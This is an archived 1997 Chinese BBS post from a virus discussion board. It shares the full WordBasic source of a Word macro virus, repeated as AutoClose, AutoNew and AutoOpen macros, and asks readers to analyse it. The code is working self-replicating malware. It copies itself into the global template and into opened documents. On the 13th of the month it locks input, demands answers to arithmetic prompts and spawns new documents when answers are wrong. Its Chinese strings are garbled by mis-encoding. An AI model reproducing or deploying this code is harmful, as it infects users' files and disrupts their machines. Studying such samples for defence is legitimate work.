Virus 版 (精华区)
作 家: OrangeGun (Gunner) on board 'virus'
题 目: 含病毒的word宏的样本:),请分析之
来 源: 哈尔滨紫丁香站
日 期: Mon May 12 21:46:19 1997
出 处: bbs@bbs.orange.sjtu.edu.cn
发信人: Dragon_Chen@bbs.ustc.edu.cn (我爱我故乡), 信区: virus
标 题: 含病毒的word宏的样本:),请分析之
发信站: 中国科大BBS站 (Sat Apr 26 13:13:15 1997)
转信站: sjtubbs!sjtunews!ustcnews!ustcbbs
下面是 autoclose 宏:
Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0
While test = - 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10000)
con = (con * nm(i))
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + " =?"
Goto beg
End If
tog$ = tog$ + Str$(nm(i)) + " *"
Next i
beg:
Beep
ans$ = InputBox$("さぱ琌 " + Date$() + " ,蛤み衡笴栏" + Chr$(13) + \
"璝氮岿,钡綺举毙▅.............." + Chr$(13) + \
tog$, "芖 NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
MsgBox "禤氮癸,絋﹚碞禗稱笵....", \
"芖 NO.1 Macro Virus"
FileNewDefault
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "孔エ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "и碞琌....."
InsertPara
InsertPara
Italic 0
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "箇ňエ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "ぃ璶и....."
Goto exit
Else
For j = 1 To 20
Beep
FileNewDefault
Next j
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Insert "エ栋痜瑀"
Goto try
End If
Wend
End If
nor = CountMacros(0)
If nor > 0 Then
For kk = 1 To nor
If MacroName$(kk, 0) = "AutoOpen" Then
t = 1
End If
Next kk
End If
file$ = FileName$()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
MacroCopy filem$, "AutoOpen"
MacroCopy filem$, "AutoNew"
MacroCopy filem$, "AutoClose"
End If
nor1 = CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
If MacroName$(kkk, 1) = "AutoOpen" Then
tt = 1
End If
Next kkk
End If
If tt <> 1 Then
FileSaveAs .Format = 1
MacroCopy "AutoOpen", filem$
End If
exit:
End Sub
_____________________________________________________________________________
下面是 autonew 宏:
Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0
While test = - 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10000)
con = (con * nm(i))
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + " =?"
Goto beg
End If
tog$ = tog$ + Str$(nm(i)) + " *"
Next i
beg:
Beep
ans$ = InputBox$("さぱ琌 " + Date$() + " ,蛤み衡笴栏" + Chr$(13) + \
"璝氮岿,钡綺举毙▅.............." + Chr$(13) + \
tog$, "芖 NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
MsgBox "禤氮癸,絋﹚碞禗稱笵....", \
"芖 NO.1 Macro Virus"
FileNewDefault
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "孔エ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "и碞琌....."
InsertPara
InsertPara
Italic 0
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "箇ňエ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "ぃ璶и....."
Goto exit
Else
For j = 1 To 20
Beep
FileNewDefault
Next j
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Insert "エ栋痜瑀"
Goto try
End If
Wend
End If
nor = CountMacros(0)
If nor > 0 Then
For kk = 1 To nor
If MacroName$(kk, 0) = "AutoOpen" Then
t = 1
End If
Next kk
End If
file$ = FileName$()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
MacroCopy filem$, "AutoOpen"
MacroCopy filem$, "AutoNew"
MacroCopy filem$, "AutoClose"
End If
nor1 = CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
If MacroName$(kkk, 1) = "AutoOpen" Then
tt = 1
End If
Next kkk
End If
If tt <> 1 Then
FileSaveAs .Format = 1
MacroCopy "AutoOpen", filem$
End If
exit:
End Sub
______________________________________________________________________________
下面是 autoopen 宏:
Dim Shared nm(4)
Sub MAIN
DisableInput 1
If Day(Now()) = 13 Then
try:
On Error Goto 0
On Error Goto try
test = - 1
con = 1
tog$ = ""
i = 0
While test = - 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10000)
con = (con * nm(i))
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + " =?"
Goto beg
End If
tog$ = tog$ + Str$(nm(i)) + " *"
Next i
beg:
Beep
ans$ = InputBox$("さぱ琌 " + Date$() + " ,蛤み衡笴栏" + Chr$(13) + \
"璝氮岿,钡綺举毙▅.............." + Chr$(13) + \
tog$, "芖 NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
MsgBox "禤氮癸,絋﹚碞禗稱笵....", \
"芖 NO.1 Macro Virus"
FileNewDefault
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "孔エ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "и碞琌....."
InsertPara
InsertPara
Italic 0
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Beep
Insert "箇ňエ栋痜瑀"
InsertPara
Beep
Insert "氮:"
Italic 1
Insert "ぃ璶и....."
Goto exit
Else
For j = 1 To 20
Beep
FileNewDefault
Next j
CenterPara
FormatFont .Font = "灿砰", .Points = 16, .Bold = 1, .Underline = 1
Insert "エ栋痜瑀"
Goto try
End If
Wend
End If
nor = CountMacros(0)
If nor > 0 Then
For kk = 1 To nor
If MacroName$(kk, 0) = "AutoOpen" Then
t = 1
End If
Next kk
End If
file$ = FileName$()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
MacroCopy filem$, "AutoOpen"
MacroCopy filem$, "AutoNew"
MacroCopy filem$, "AutoClose"
End If
nor1 = CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
If MacroName$(kkk, 1) = "AutoOpen" Then
tt = 1
End If
Next kkk
End If
If tt <> 1 Then
FileSaveAs .Format = 1
MacroCopy "AutoOpen", filem$
End If
exit:
End Sub
--
┏━━━━━━━━━━━━━━━━━━┓
┃ ▲ 心痴 心语 I am ┃
┃ ^^^■▲^^^ 依然 醉心 sailing ┃
┃ ^^^■■▲^^^ 红霞翩翩踩云归 I am ┃
┃ ^^^^^^^^^^^^^ sailing ┃
┗━━━━━━━━━━━━━━━━━━┛
※ 来源: 中国科大BBS站 [bbs.ustc.edu.cn]
--
※ 来源:·哈尔滨紫丁香站 bbs1.hit.edu.cn·[FROM: bbs@bbs.orange.sjtu.]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间：205.031毫秒